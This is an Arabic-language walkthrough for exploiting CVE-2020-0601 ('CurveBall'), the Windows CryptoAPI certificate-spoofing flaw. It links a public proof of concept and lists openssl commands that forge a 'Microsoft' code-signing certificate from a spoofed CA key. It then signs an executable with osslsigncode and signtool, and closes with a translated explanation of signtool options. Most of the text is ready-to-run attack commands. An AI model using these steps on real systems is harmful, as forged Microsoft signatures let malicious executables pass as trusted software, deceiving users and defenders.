
إثبات المفهوم لـ CVE-2020-0601 - Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
PoC لـ CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
على كالي: 1.قم بإنشاء ملف PKCS12
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2.توقيع الملف:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

3.على ويندوز استخدم signtool لتوقيع ملف،الموقع في "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe":
signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

خيارات الأوامر العامة لـ signtool.exe: /v يعرض مخرجات تفصيلية ورسائل تحذيرية سواء نجح الأمر أم لا. خيارات أمر sign: /f يحدد شهادة التوقيع في الملف. إذا كان الملف بتنسيق Personal Information Exchange (PFX) ومحمياً بكلمة مرور، فاستخدم الخيار /p لتحديد كلمة المرور. إذا كان الملف لا يحتوي على مفتاح خاص، فاستخدم الخيارين /csp و /kc لتحديد CSP واسم حاوية المفتاح الخاص. /tr يحدد عنوان URL لخادم الطوابع الزمنية RFC 3161. إذا لم يكن هذا الخيار (أو /t) موجوداً، فلن يتم تنفيذ عملية الطابع الزمني على الملف الموقّع. إذا فشلت عملية الطابع الزمني، سيتم إنشاء تحذير. لا يمكن استخدام هذا الخيار مع الخيار /t. /as يضيف هذا التوقيع. إذا لم يكن هناك توقيع رئيسي، يصبح هذا التوقيع هو التوقيع الرئيسي. /fd يحدد خوارزمية تجزئة الملف المستخدمة لإنشاء توقيع الملف. القيمة الافتراضية هي SHA1. /p يحدد كلمة المرور المطلوبة لفتح ملف PFX. (يتم تحديد ملف PFX باستخدام الخيار /f)